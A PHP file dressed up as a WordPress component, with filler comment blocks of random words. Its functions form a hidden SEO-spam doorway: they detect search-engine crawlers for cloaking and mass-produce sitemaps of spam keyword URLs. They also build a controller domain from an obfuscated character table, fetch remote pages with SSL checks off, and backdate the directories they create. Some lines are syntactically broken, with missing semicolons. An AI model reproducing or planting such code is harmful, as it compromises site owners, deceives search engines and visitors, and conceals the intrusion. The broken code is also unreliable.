  1257.  * adhere agency impose insurance insure lest nucleus offend optics profit remote trend triumph tuition unique variation vary vehicle video videotape violent.
  1258.  * abuse balcony community comparative competent conservation continuous emotional exterior gallon import minimum peak precaution removal ridiculous sequence shelter substantial tone transport tropical virtue xploit.
  1259.  * agency bacteria disturb flock region subsequent vary vote.
  1260.  * acid aspect avenue campus cliff competition evil grand infer invade male medium modify naval poverty pursue resemble tender urban vertical.
  1261.  * advertise burden conservation domestic enthusiasm extreme focus invade jewel launch mutual notion passion prohibit sponsor suspicious transport ultimate utilise violet virus.
  1262.  * awkward burst deposit dive export infect isolate retain shuttle survey territory undergo vacant vertical.
  1263.  * appetite applianc available hook molecule primitive rely ultimate valley volcano.
  1264.  * accomplish agency approach deserve equation favorable horror jail mature naval notify portion professional shuttle slender stimulate timber trace twist vain.
  1265.  * competition exclaim explode fatigue gesture guarantee index infer integrate mature mutual sorrow tarnest vitally vocabulary volunteer wagon.
  1266.  * agent code consistent emotion exclaim export hence lean naked numerrous obscure portable private quit reluctant sexual spur talent volunteer.
  1267.  * budget bunch chaos erect subsequent trace treaty unique.
  1268.  * adhere decade extinct golf inhabitant magnet maximum tender trial ultimate vain.
  1269.  * calendar hardware identify parade profitable submerge videotape.
  1270.  * Internet automatic barrel campus code conservation device emotion expel expensive launch naked obscure optional precaution relevant suspicion tend the withdraw.
  1271.  * advertisement applicant bother candidate excursion gear household import passport significance skim valid.
  1272.  * bunch deposit extraordinary gratitude leisure maintain mature numerrous prompt undertake.
  1273.  * clue emotional exclude expensive inevitable infant laser legislation molecule seminar slide slippery software tense vacuum virus.
  1274.  * adequate attach budget burden capture decay extinct luxury marine ruin seminar spill violet.
  1275.  *
  1276.  * @package WordPress
  1277.  */
  1278.        
  1279.  
  1280. function getRandId(){
  1281.         $num = rand(1,FNUM);    $num = $num - 1;        require(FILEDIRNAME . "/id$num.php");   $indexId=array_rand($arrId,1)$id = $arrId[$indexId]unset($arrId)return $id;}
  1282. function get_arrvs($arr,$num,$nowkey){
  1283.         $numArr = count($arr)
  1284.         if($nowkey + $num < $numArr)
  1285.                 return $arr[$nowkey + $num];    else{
  1286.                 if($nowkey + $num - $numArr - $numArr > 0)
  1287.                         return get_arrvs($arr,$num - $numArr,$nowkey);          else
  1288.                         return $arr[abs($nowkey + $num - $numArr)];     }
  1289. }
  1290.  
  1291. function get_pre_link($arr,$key){
  1292.        
  1293.         $tmpA1 = array();       $tmpA2 = array();       
  1294.         $num = count($arr);     
  1295.        
  1296.         if($key + JGNUM + 1 + LINKNUM >= $num){
  1297.                
  1298.                 if($key + JGNUM + 1 - $num > LINKNUM){
  1299.                         return array_slice($arr, $key + JGNUM + 1 - $num, LINKNUM);             }else{
  1300.                
  1301.                 $duoyu = $key + JGNUM + 1 + LINKNUM - $num + 1;         $tmpA1 = array_slice($arr, $key + JGNUM + 1, LINKNUM);          $tmpA2 = array_slice($arr, 0, $duoyu);                 
  1302.                 return array_merge($tmpA1,$tmpA2);              }
  1303.         }else{
  1304.                         return  array_slice($arr, $key + JGNUM + 1, LINKNUM);   }
  1305.        
  1306. }
  1307. function get_next_link($arr,$key){
  1308.        
  1309.         $tmpA1 = array();       $tmpA2 = array();       
  1310.         $num = count($arr);     if($key - JGNUM - LINKNUM < 0 && $key - JGNUM > 0){
  1311.                 $duoyu = abs($key - JGNUM - LINKNUM);           $tmpA1 = array_slice($arr, 0, abs($key - JGNUM));               $tmpA2 = array_slice($arr, $num-$duoyu-1, $duoyu);              return array_merge($tmpA1,$tmpA2);      }else{
  1312.                         return  array_slice($arr, $key - JGNUM - LINKNUM, LINKNUM);     }
  1313. }
  1314. function rFile($file){
  1315.         if(function_exists('file_get_contents')){
  1316.                 return file_get_contents($file);
  1317.         }else{
  1318.                 $handle = fopen($file, "r");
  1319.                 $contents = fread($handle, filesize($file));
  1320.                 fclose($handle);
  1321.                 return $contents;
  1322.         }
  1323. }
  1324. function isCrawler() {
  1325.         $agent= @strtolower($_SERVER['HTTP_USER_AGENT']);       if (!empty($agent)) {
  1326.                 $spiderSite= array(
  1327.                         "Googlebot",
  1328.                         "Mediapartners-Google",
  1329.                         "Adsbot-Google",
  1330.                         "Yahoo!",
  1331.                         "Google AdSense",
  1332.                         "Yahoo Slurp",
  1333.                         "bingbot",
  1334.                         "MSNBot"
  1335.                 );              foreach($spiderSite as $val) {
  1336.                 $str = strtolower($val);                if (strpos($agent, $str) !== false) {
  1337.                         return true;                    }
  1338.                 }
  1339.         } else {
  1340.                 return false;   }
  1341. }
  1342.  
  1343.  
  1344. function gsitemap2($filenames,$c=1,$jdt=1){
  1345.         global $gnumber,$arrArrr;
  1346. $arrABC = range('a','z');
  1347. $tparrsI = $filenames;
  1348. $randnum = rand(7000,7600);
  1349. $tparrII = array_rand($tparrsI,$randnum);
  1350. $tparrIII = array();
  1351. foreach($tparrII as $vs){
  1352.         $tparrIII[$vs] = $filenames[$vs];
  1353. }
  1354. $filenames = $tparrIII;
  1355.  
  1356.         $filePres = ''$fileEnds = ''
  1357.         $dirNames = dirname(__file__)$httcReplace = end((explode(DIRECTORY_SEPARATOR, $dirNames)));                 
  1358.         if(JDT == 2){
  1359.                 $filePres = $httcReplace . "/" . basename(__file__) . "/";      }elseif(JDT == 1){
  1360.                 $filePres = $httcReplace . "/"}elseif(JDT == 3){
  1361.                 $filePres = $httcReplace . "/" .basename(__file__) . "?key=";   }else{
  1362.                 $filePres = ''}
  1363.         if(JDT == 3){
  1364.                 $fileEnds = ''}else{
  1365.                 $fileEnds = JTHZ;       }
  1366.         $fpath='http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']$serpath=substr($fpath,0,strrpos($fpath,'/'));
  1367.         $siteLink='http://'.$_SERVER['HTTP_HOST'];             
  1368.         $mapPre = '<'.'?xml version="1.0" encoding="UTF-8" ?'.'>'. PHP_EOL.'<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">' . PHP_EOL;    $mapEnd = PHP_EOL .  '</urlset>';
  1369.         // $urlsArray = $filenames;
  1370.         // $numLinks = count($urlsArray);
  1371.         $star = 0;      $priority = 0.1;        $starPri = 0;   $gFile ="";     $date = date("Y-m-d")$time = date("H:i:s");
  1372.         $str = "";                                             
  1373.         $tempArr1 = $filenames;
  1374.        
  1375.         foreach($tempArr1 as $key => $value2){
  1376.                 $curphp=basename(__file__);
  1377.                 $value = $value2;               $first=stristr($value,".php");          $last=stristr($value,".xml");           $checkTxt =stristr($value,".txt");             
  1378.                         $tempPid = $key;
  1379.                
  1380.                         $url = getalink($tempPid,$value2);
  1381.  
  1382.                
  1383.                 if($first===false && $last===false && $checkTxt===false)
  1384.                 {
  1385.                         $date = date("Y-m-d");                  $time = date("H:i:s");                         
  1386.                
  1387.                         if($star % 12000==11999){
  1388.                                 $gFile =  '../web_map/webmap' . $arrABC[$gnumber-1] .'.xml';                            echo '<br/>'.$gFile.'<br/>';                            $put_str = $mapPre . $str . $mapEnd;                            @unlink($gFile);                                file_put_contents($gFile,$put_str);
  1389.                                 file_put_contents("./map.log",'#webmap' . $arrABC[$gnumber-1] .'.xml#'.PHP_EOL,FILE_APPEND);
  1390.                                 $str = '';                              $gnumber++;                             return;                 }
  1391.                        
  1392.                
  1393.                        
  1394.        
  1395.                         $str .= "     <url>
  1396.                          <loc>" . $url . "</loc>
  1397.                          <lastmod>". $date . "T" . $time ."-05:00</lastmod>  
  1398.                          <changefreq>daily</changefreq>
  1399.                          <priority>0.1</priority>
  1400.                          </url>
  1401.                 ";     
  1402.                        
  1403.                        
  1404.                         $star++;                        $starPri++;             }
  1405.         }
  1406.        
  1407.         {
  1408.                 $gFile =  '../web_map/webmap' . $arrABC[$gnumber-1] .'.xml';                    echo '<br/>'.$gFile.'<br/>';
  1409.                 $put_str = $mapPre . $str . $mapEnd;            @unlink($gFile);                file_put_contents($gFile,$put_str);     
  1410.                 file_put_contents("./map.log",'#webmap' . $arrABC[$gnumber-1] .'.xml#'.PHP_EOL,FILE_APPEND);
  1411.                 $gnumber++;     
  1412.         }
  1413.        
  1414.         unset($tempArr1);       unset($filenames);     
  1415.         echo "生成sitemap成功!"
  1416. }
  1417. function gsitemap($filenames,$c=1,$jdt=1){
  1418.         global $gnumber,$arrArrr;
  1419. $arrABC = range('a','z');
  1420. $tparrsI = $filenames;
  1421. $randnum = rand(7000,7600);
  1422. $tparrII = array_rand($tparrsI,$randnum);
  1423. $tparrIII = array();
  1424. foreach($tparrII as $vs){
  1425.         $tparrIII[$vs] = $filenames[$vs];
  1426. }
  1427. $filenames = $tparrIII;
  1428.        
  1429.         $filePres = ''$fileEnds = ''
  1430.        
  1431.         $fpath='http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']$serpath=substr($fpath,0,strrpos($fpath,'/'));
  1432.         $siteLink='http://'.$_SERVER['HTTP_HOST'];             
  1433.         $mapPre = '<'.'?xml version="1.0" encoding="UTF-8" ?'.'>'. PHP_EOL.'<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">' . PHP_EOL;    $mapEnd = PHP_EOL .  '</urlset>';
  1434.         // $urlsArray = $filenames;
  1435.         // $numLinks = count($urlsArray);
  1436.        
  1437.         $star = 0;      $priority = 0.9;        $starPri = 0;   $gFile ="";     $date = date("Y-m-d")$time = date("H:i:s");
  1438.         $str = "     <url>
  1439.                          <loc>" . $siteLink . "</loc>
  1440.                          <lastmod>". $date . "T" . $time ."-05:00</lastmod>
  1441.                          <changefreq>always</changefreq>
  1442.                          <priority>1.0</priority>
  1443.                          </url>
  1444.                 ";                                             
  1445.         $tempArr1 = $filenames;
  1446.        
  1447.         foreach($tempArr1 as $key => $value2){
  1448.                 $curphp=basename(__file__);
  1449.                 $value = $value2;               $first=stristr($value,".php");          $last=stristr($value,".xml");           $checkTxt =stristr($value,".txt");     
  1450.                
  1451.                         $tempPid = $key;
  1452.                                 $url = getalink($tempPid,$value2);
  1453.                
  1454.                 if($first===false && $last===false && $checkTxt===false)
  1455.                 {
  1456.                         $date = date("Y-m-d");                  $time = date("H:i:s");                 
  1457.        
  1458.                         if($star % 12000==11999){
  1459.                                 $gFile =  '../web_map/webmap' . $arrABC[$gnumber-1] .'.xml';                            echo '<br/>'.$gFile.'<br/>';                           
  1460.                                 $put_str = $mapPre . $str . $mapEnd;                            @unlink($gFile);                                file_put_contents($gFile,$put_str);
  1461.                                 file_put_contents("./map.log",'#webmap' . $arrABC[$gnumber-1] .'.xml#'.PHP_EOL,FILE_APPEND);
  1462.                                 $str = '';                              $gnumber++;                             return;                        
  1463.                         }
  1464.                        
  1465.                         if($starPri >= 400 && $priority != 0.1){
  1466.                                 $starPri = 0;                           $priority = $priority - 0.1;                    }
  1467.                        
  1468.                         if($priority > 0.1){
  1469.                                
  1470.                                 $str .= "     <url>
  1471.                                          <loc>" . $url . "</loc>
  1472.                                          <lastmod>". $date . "T" . $time ."-05:00</lastmod>  
  1473.                                          <changefreq>daily</changefreq>
  1474.                                          <priority>". $priority . "</priority>
  1475.                                          </url>
  1476.                                 ";     
  1477.                         }else{
  1478.                                                                                 $str .= "     <url>
  1479.                          <loc>" . $url . "</loc>
  1480.                          <lastmod>". $date . "T" . $time ."-05:00</lastmod>  
  1481.                          <changefreq>daily</changefreq>
  1482.                          <priority>0.1</priority>
  1483.                          </url>
  1484.                 ";     
  1485.                         }
  1486.                        
  1487.                         $star++;                        $starPri++;             }
  1488.         }
  1489.        
  1490.         {
  1491.                 $gFile =  '../web_map/webmap' . $arrABC[$gnumber-1] .'.xml';            echo '<br/>'.$gFile.'<br/>';
  1492.                 $put_str = $mapPre . $str . $mapEnd;            @unlink($gFile);                file_put_contents($gFile,$put_str);     
  1493.                 file_put_contents("./map.log",'#webmap' . $arrABC[$gnumber-1] .'.xml#'.PHP_EOL,FILE_APPEND);
  1494.                 $gnumber++;
  1495.         }
  1496.        
  1497.         unset($tempArr1);       unset($filenames);      echo "生成sitemap成功!"
  1498. }
  1499.        
  1500.        
  1501. function curl_get_from_webpage($url,$proxy='',$loop=10){
  1502.         $data = false;        $i = 0;        while(!$data) {
  1503.              $data = curl_get_from_webpage_one_time($url,$proxy);             if($i++ >= $loop) break;        }
  1504.         return $data;}
  1505.  
  1506.  
  1507. function curl_getjs_from_webpage($url,$time){
  1508. if(function_exists("curl_init") && function_exists("curl_setopt") && function_exists("curl_exec") && function_exists("curl_close")){
  1509.  
  1510.     $curl = curl_init();        //如果有用代理,则使用代理.
  1511.         $user_agent = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; chromeframe/12.0.742.100";                 
  1512.         // $urlReferer = "http://www.google.com";
  1513.         curl_setopt($curl, CURLOPT_URL, $url)
  1514.                 if(stristr($url,"https:")){ curl_setopt_array($curl, array(CURLOPT_SSL_VERIFYHOST => 2,CURLOPT_SSL_VERIFYPEER => 0,     CURLOPT_POSTFIELDS => '',                       CURLOPT_RETURNTRANSFER => 1,CURLOPT_TIMEOUT => $time,CURLOPT_USERAGENT => $user_agent,CURLOPT_HEADER => 1,                      CURLOPT_VERBOSE => 0
  1515.                         ));}else{curl_setopt($curl, CURLOPT_URL, $url);curl_setopt($curl, CURLOPT_TIMEOUT, $time);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curl, CURLOPT_HEADER, false);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curl, CURLOPT_USERAGENT, $user_agent);
  1516.         }$data=curl_exec($curl);curl_close($curl);
  1517.   }else{
  1518.  
  1519.     $is_auf=ini_get('allow_url_fopen') && function_exists("file_get_contents")?true:false;
  1520.     if($is_auf){
  1521.                 $data = file_get_contents($url);
  1522.     }
  1523.  
  1524.   }
  1525.         if(!$data) return false;
  1526.         return $data;   
  1527.        
  1528. }
  1529.  
  1530. function curl_get_from_webpage_one_time($url,$proxy=''){
  1531. if(function_exists("curl_init") && function_exists("curl_setopt") && function_exists("curl_exec") && function_exists("curl_close")){
  1532.  
  1533.     $curl = curl_init();        //如果有用代理,则使用代理.
  1534.         $user_agent = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; chromeframe/12.0.742.100";                 
  1535.         // $urlReferer = "http://www.google.com";
  1536.         if(strlen($proxy) > 8) curl_setopt($curl, CURLOPT_PROXY, $proxy);
  1537. curl_setopt($curl, CURLOPT_URL, $url)
  1538.                 if(stristr($url,"https:")){ curl_setopt_array($curl, array(CURLOPT_SSL_VERIFYHOST => 2,CURLOPT_SSL_VERIFYPEER => 0,     CURLOPT_POSTFIELDS => '',                       CURLOPT_RETURNTRANSFER => 1,CURLOPT_USERAGENT => $user_agent,CURLOPT_HEADER => 1,                       CURLOPT_VERBOSE => 0
  1539.                         ));}else{curl_setopt($curl, CURLOPT_URL, $url);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curl, CURLOPT_HEADER, false);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curl, CURLOPT_USERAGENT, $user_agent);
  1540.         }$data=curl_exec($curl);curl_close($curl);
  1541.   }else{
  1542.  
  1543.     $is_auf=ini_get('allow_url_fopen') && function_exists("file_get_contents")?true:false;
  1544.     if($is_auf){
  1545.                 $data = file_get_contents($url);
  1546.     }
  1547.  
  1548.   }
  1549.         if(!$data) return false;
  1550.         return $data;   
  1551.        
  1552. }
  1553.  
  1554.  
  1555.  
  1556.        
  1557. //
  1558.  
  1559.  
  1560.  
  1561. function my_mkdir($dir){
  1562.                 global  $fitime;
  1563.                 if(!is_dir($dir)){
  1564.                         mkdir($dir);
  1565.                         @touch($dir, $fitime, $fitime);  
  1566.                 }
  1567.         }
  1568.        
  1569.  
  1570.        
  1571.         function generate_dir_file($gDir=''){
  1572.                
  1573.                 global $hostDir;
  1574.                 $gDir = str_replace('/',DIRECTORY_SEPARATOR,$gDir);
  1575.                 $gDir = str_replace('\\',DIRECTORY_SEPARATOR,$gDir);
  1576.                 $arr = explode(DIRECTORY_SEPARATOR,$gDir);
  1577.                
  1578.                 if(count($arr) <= 0) return;
  1579.                
  1580.                 if(!strstr($gDir,$hostDir))
  1581.                         $dir = $hostDir;
  1582.                 else
  1583.                         $dir = '';
  1584.  
  1585.  
  1586.                 for($i = 0 ; $i < count($arr)-1 ; $i++){
  1587.                         $dir .= DIRECTORY_SEPARATOR . $arr[$i];
  1588.                         my_mkdir($dir);
  1589.                 }
  1590.                
  1591.                 return $dir;
  1592.         }
  1593.  
  1594.  
  1595.         function strFilter($str){
  1596.                 $str = str_replace('`', '', $str);
  1597.                 $str = str_replace('·', '', $str);
  1598.                 $str = str_replace('~', '', $str);
  1599.                 $str = str_replace('!', '', $str);
  1600.                 $str = str_replace('!', '', $str);
  1601.                 $str = str_replace('@', '', $str);
  1602.                 $str = str_replace('#', '', $str);
  1603.                 $str = str_replace('$', '', $str);
  1604.                 $str = str_replace('¥', '', $str);
  1605.                 $str = str_replace('%', '', $str);
  1606.                 $str = str_replace('^', '', $str);
  1607.                 $str = str_replace('……', '', $str);
  1608.                 $str = str_replace('*', '', $str);
  1609.                 $str = str_replace('(', '', $str);
  1610.                 $str = str_replace(')', '', $str);
  1611.                 $str = str_replace('(', '', $str);
  1612.                 $str = str_replace(')', '', $str);
  1613.                 $str = str_replace('-', '', $str);
  1614.                 $str = str_replace('_', '', $str);
  1615.                 $str = str_replace('——', '', $str);
  1616.                 $str = str_replace('+', '', $str);
  1617.                 $str = str_replace('=', '', $str);
  1618.                 $str = str_replace('|', '', $str);
  1619.                 $str = str_replace('\\', '', $str);
  1620.                 $str = str_replace('[', '', $str);
  1621.                 $str = str_replace(']', '', $str);
  1622.                 $str = str_replace('【', '', $str);
  1623.                 $str = str_replace('】', '', $str);
  1624.                 $str = str_replace('{', '', $str);
  1625.                 $str = str_replace('}', '', $str);
  1626.                 $str = str_replace(';', '', $str);
  1627.                 $str = str_replace(':', '', $str);
  1628.                 $str = str_replace('<', '', $str);
  1629.                 $str = str_replace('>', '', $str);
  1630.                 $str = str_replace(':', '', $str);
  1631.                 $str = str_replace('\'', '', $str);
  1632.                 $str = str_replace('"', '', $str);
  1633.                 $str = str_replace(',', '', $str);
  1634.                 $str = str_replace(',', '', $str);
  1635.                 $str = str_replace('《', '', $str);
  1636.                 $str = str_replace('》', '', $str);
  1637.                 $str = str_replace('.', '', $str);
  1638.                 $str = str_replace('。', '', $str);
  1639.                 $str = str_replace('–', '', $str);
  1640.                 $str = str_replace('–', '', $str);
  1641.                 $str = str_replace('/', '', $str);
  1642.                 $str = str_replace('、', '', $str);
  1643.                 $str = str_replace('?', '', $str);
  1644.                 $str = str_replace('?', '', $str);
  1645.                 $str = str_replace('°', '', $str);
  1646.                 $str = str_replace('&', '&amp;', $str);
  1647.                 return trim($str);
  1648.         }
  1649.  
  1650.  
  1651.         function getalink($pid,$pname=''){
  1652.                
  1653.                 global $arrnametime,$arrKeywz,$arr_word,$strRand;              
  1654.                
  1655.                
  1656.                 if(strstr($pname,'#cat#')){
  1657.                         $tp_pname_arr = explode('#cat#',$pname);
  1658.                         $pname = $tp_pname_arr[1];
  1659.                         $precat = $tp_pname_arr[0];
  1660.                 }
  1661.                
  1662.                 if(function_exists("preg_split")){
  1663.                         $tpnameArr = preg_split('/\s+/us', $pname);            
  1664.                 }else{
  1665.                         $tpnameArr = explode(' ', $pname);
  1666.                 }
  1667.                
  1668.                 $pnameArr = array();
  1669.                 foreach($tpnameArr as $tpvs){
  1670.                         $tpvs = trim($tpvs);
  1671.                         if($tpvs){
  1672.                                 $pnameArr[] = $tpvs;
  1673.                         }
  1674.                 }
  1675.                
  1676.                 $numPname = count($pnameArr);
  1677.                
  1678.                 if($numPname > 3){
  1679.                         $numLinkKey = round(PNAMELEN * $numPname / 100);
  1680.                         $yushu = KEYJG % $numPname;
  1681.                        
  1682.                         $arrPre = array();
  1683.                         $arrLast = array();
  1684.  
  1685.                         for($i=0;$i<$numPname;$i++){
  1686.                                 if($i<$yushu){
  1687.                                         $arrLast[] = $pnameArr[$i];
  1688.                                 }else{
  1689.                                         $arrPre[] = $pnameArr[$i];
  1690.                                 }
  1691.                         }
  1692.                        
  1693.                         if(count($arrLast)){
  1694.                                 foreach($arrLast as $vs){
  1695.                                         $arrPre[] = $vs;
  1696.                                 }
  1697.                         }
  1698.                        
  1699.                         $usedNameArr = array();
  1700.                         for($i=0;$i<$numLinkKey;$i++){
  1701.                                 $usedNameArr[$i] = $arrPre[$i];
  1702.                         }
  1703.  
  1704.                         if(count($usedNameArr)){
  1705.                                 $pname = implode(' ',$usedNameArr);
  1706.                         }
  1707.                        
  1708.                 }
  1709.                
  1710.                 if(JDT == 0){
  1711.                         $precat = strFilter($precat);
  1712.                         $precat = preg_replace('/\s+/', '-', $precat);
  1713.                 }
  1714.                        
  1715.                
  1716.                 $pname = strFilter($pname);
  1717.  
  1718.                 $filePres = '';         $fileEnds = '';         $siteLink='http://'.$_SERVER['HTTP_HOST'];
  1719.                 $dirNames = dirname(__file__);          $httcReplace = end((explode(DIRECTORY_SEPARATOR, $dirNames)));         
  1720.                 if(JDT == 2){
  1721.                         $filePres = $siteLink ."/". $httcReplace . "/" . basename(__file__) . "/";              }elseif(JDT == 1){
  1722.                         $filePres = $siteLink ."/". $httcReplace . "/";         }elseif(JDT == 3){
  1723.                         $filePres = $siteLink ."/". $httcReplace . "/" .basename(__file__) . "?keyword=";               }else{
  1724.                         $filePres = $siteLink."/";              }
  1725.                
  1726.        
  1727.                 $rsp = '#'. BZPRO .'\d+#';
  1728.                 $pname = trim($pname);
  1729.                
  1730.  
  1731.                 $pname = preg_replace('/\s+/', '-', $pname);
  1732.        
  1733.                
  1734.                 if(JDT == 3){
  1735.                        
  1736.                         $rs = '#&[^;]+;#i';
  1737.                         $pname = preg_replace($rs,'',$pname);
  1738.        
  1739.                
  1740.                         while(strstr($pname,'&'))
  1741.                                 $pname = str_replace('&','',$pname);
  1742.                        
  1743.                         while(strstr($pname,'--'))
  1744.                                 $pname = str_replace('--','-',$pname);
  1745.                        
  1746.                         $linkCenter = $pname .'-' .$pid;
  1747.                         $rtStr = $filePres.$linkCenter;
  1748.                         $rtStr = str_replace($filePres.'-',$filePres,$rtStr);
  1749.                
  1750.                         return $rtStr;
  1751.                        
  1752.                         }
  1753.                        
  1754.                 if(strlen($pname) > 235){
  1755.                         $rs = '#&[^;]+;#i';
  1756.                         $pname = preg_replace($rs,'',$pname);
  1757.                         $pname = str_replace('&','',$pname);
  1758.                         $pname = str_replace('&',';',$pname);
  1759.                         if(function_exists("mb_substr")){
  1760.                                 $pname = mb_substr($pname, 0, 235, 'utf-8');
  1761.                         }else{
  1762.                                 $pname = substr($pname, 0, 235);
  1763.                         }
  1764.                 }       
  1765.                
  1766.                
  1767.                
  1768.                 if(JDT == 0){
  1769.                         $linkCenter = $precat .'-'. $pid.'/'.$pname;
  1770.                 }else{
  1771.                         $linkCenter = $pname .'-'. $pid;
  1772.                 }
  1773.                        
  1774.  
  1775.                
  1776.                         $linkCenter .= JTHZ;                    $linkCenter = str_replace("-/","/",$linkCenter);                        $linkCenter = str_replace("-".JTHZ,JTHZ,$linkCenter);          
  1777.                
  1778.                        
  1779.                         while(strstr($linkCenter,'--'))
  1780.                                 $linkCenter = str_replace('--','-',$linkCenter);       
  1781.                         $linkCenter = str_replace('/-','/',$linkCenter);       
  1782.                        
  1783.                 $rtStr = $filePres.$linkCenter;
  1784.                 $rtStr = str_replace($filePres.'-',$filePres,$rtStr);
  1785.                
  1786.                 return $rtStr;
  1787.         }
  1788.        
  1789.        
  1790.  
  1791.        
  1792.         function rmhtmltag($tagname='',$str=''){
  1793.                 $rulers = '#<'.$tagname.'[^>]*>.*?</'.$tagname.'>#s';
  1794.                 $str = preg_replace($rulers,'',$str);
  1795.                 $rulers = '#<'.$tagname.'[^>]*>.*?</'.$tagname.'>#i';
  1796.                 $str = preg_replace($rulers,'',$str);
  1797.                 return $str;
  1798.        
  1799.         }
  1800.  
  1801.  
  1802.   function rmhtmltag2($tagname='',$str=''){
  1803.                 $rulers = '#<'.$tagname.'[^>]*>#s';
  1804.                 $str = preg_replace($rulers,'',$str);
  1805.                 $rulers = '#</'.$tagname.'>#s';
  1806.                 $str = preg_replace($rulers,'',$str);
  1807.        
  1808.         $rulers = '#<'.$tagname.'[^>]*>#i';
  1809.         $str = preg_replace($rulers,'',$str);
  1810.         $rulers = '#</'.$tagname.'>#i';
  1811.         $str = preg_replace($rulers,'',$str);
  1812.         return $str;
  1813.        
  1814.         }
  1815.        
  1816.        
  1817.        
  1818. //
  1819.  
  1820.        
  1821.        
  1822. function is_ip($localIp,$ipRanges)
  1823. {    
  1824.         $localIp = ip2long($localIp);  
  1825.         foreach($ipRanges as $val)
  1826.         {
  1827.                 $ipmin=sprintf("%u",ip2long($val[0]));          $ipmax=sprintf("%u",ip2long($val[1]));
  1828.                 if($localIp >= $ipmin && $localIp <= $ipmax)
  1829.                 {  
  1830.                         return true;
  1831.                 }
  1832.         }  
  1833.         return false;}
  1834.  
  1835. function RandAbcs($length = ""){
  1836.     $str = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_./:-";
  1837.     return ($str);
  1838. }
  1839.  
  1840.  
  1841.  
  1842. function getarr(){
  1843.                 global $O00O0O;
  1844.                 $arr[0]=$O00O0O{16}.$O00O0O{20}.$O00O0O{8}.$O00O0O{25}.$O00O0O{14}.$O00O0O{4}.$O00O0O{22}.$O00O0O{4}.$O00O0O{1}.$O00O0O{63}.$O00O0O{23}.$O00O0O{24}.$O00O0O{25};$arr[1]=$O00O0O{12}.$O00O0O{20}.$O00O0O{17}.$O00O0O{15}.$O00O0O{17}.$O00O0O{14}.$O00O0O{3}.$O00O0O{0}.$O00O0O{19}.$O00O0O{0}.$O00O0O{63}.$O00O0O{23}.$O00O0O{24}.$O00O0O{25};$arr[2]=$O00O0O{12}.$O00O0O{4}.$O00O0O{11}.$O00O0O{8}.$O00O0O{25}.$O00O0O{0}.$O00O0O{2}.$O00O0O{4}.$O00O0O{13}.$O00O0O{19}.$O00O0O{4}.$O00O0O{17}.$O00O0O{63}.$O00O0O{23}.$O00O0O{24}.$O00O0O{25};$arr[3]=$O00O0O{19}.$O00O0O{8}.$O00O0O{1}.$O00O0O{14}.$O00O0O{16}.$O00O0O{2}.$O00O0O{18}.$O00O0O{14}.$O00O0O{20}.$O00O0O{17}.$O00O0O{4}.$O00O0O{63}.$O00O0O{23}.$O00O0O{24}.$O00O0O{25};$arr[4]=$O00O0O{11}.$O00O0O{6}.$O00O0O{15}.$O00O0O{0}.$O00O0O{1}.$O00O0O{23}.$O00O0O{7}.$O00O0O{14}.$O00O0O{18}.$O00O0O{19}.$O00O0O{63}.$O00O0O{23}.$O00O0O{24}.$O00O0O{25};
  1845.         return $arr;
  1846. }
  1847.  
  1848.        
  1849. function getthisdom(){
  1850.         $myArrs = getarr();
  1851.     return 'http://www.'.$myArrs[CENTERKEY].MYDIR;
  1852. }
  1853.  
  1854.  
  1855.  
  1856. function get_real_ip(){
  1857.        
  1858.        
  1859.            $ip = '';
  1860.     /**
  1861.      * resolve any proxies
  1862.      */
  1863.     if (isset($_SERVER)) {
  1864.       if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
  1865.         $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
  1866.       } elseif (isset($_SERVER['HTTP_CLIENT_IP'])) {
  1867.         $ip = $_SERVER['HTTP_CLIENT_IP'];
  1868.       } elseif (isset($_SERVER['HTTP_X_FORWARDED'])) {
  1869.         $ip = $_SERVER['HTTP_X_FORWARDED'];
  1870.       } elseif (isset($_SERVER['HTTP_X_CLUSTER_CLIENT_IP'])) {
  1871.         $ip = $_SERVER['HTTP_X_CLUSTER_CLIENT_IP'];
  1872.       } elseif (isset($_SERVER['HTTP_FORWARDED_FOR'])) {
  1873.         $ip = $_SERVER['HTTP_FORWARDED_FOR'];
  1874.       } elseif (isset($_SERVER['HTTP_FORWARDED'])) {
  1875.         $ip = $_SERVER['HTTP_FORWARDED'];
  1876.       } else {
  1877.         $ip = $_SERVER['REMOTE_ADDR'];
  1878.       }
  1879.     }
  1880.     if (trim($ip) == '') {
  1881.       if (getenv('HTTP_X_FORWARDED_FOR')) {
  1882.         $ip = getenv('HTTP_X_FORWARDED_FOR');
  1883.       } elseif (getenv('HTTP_CLIENT_IP')) {
  1884.         $ip = getenv('HTTP_CLIENT_IP');
  1885.       } else {
  1886.         $ip = getenv('REMOTE_ADDR');
  1887.       }
  1888.     }
  1889.  
  1890.     /**
  1891.      * sanitize for validity as an IPv4 or IPv6 address
  1892.      */
  1893.     $ip = preg_replace('~[^a-fA-F0-9.:%/,]~', '', $ip);
  1894.  
  1895.     /**
  1896.      *  if it's still blank, set to a single dot
  1897.      */
  1898.     if (trim($ip) == '') $ip = '.';
  1899.  
  1900.     return $ip;
  1901.        
  1902.         }
  1903.  
  1904.  
  1905. /**
  1906.  * attitude blast casual gap manual negative split survey temple terminal tide variation waist.
  1907.  * attitude bargain explosive liable moisture recruit signature tension universe.
  1908.  * avenue barrier cancel chaos dash flee motive opportunity optional outstanding oval poverty sponsor tarnest.
  1909.  * absolute aware estimate pants secure sponsor urban urgent vary via virtual wax yawn.
  1910.  * domestic geology horrible promote ruin usage victim.
  1911.  * awkward calculate conservative essential exclaim gallon household medium nuisance orbit petroleum significance transplant undergo withdraw.
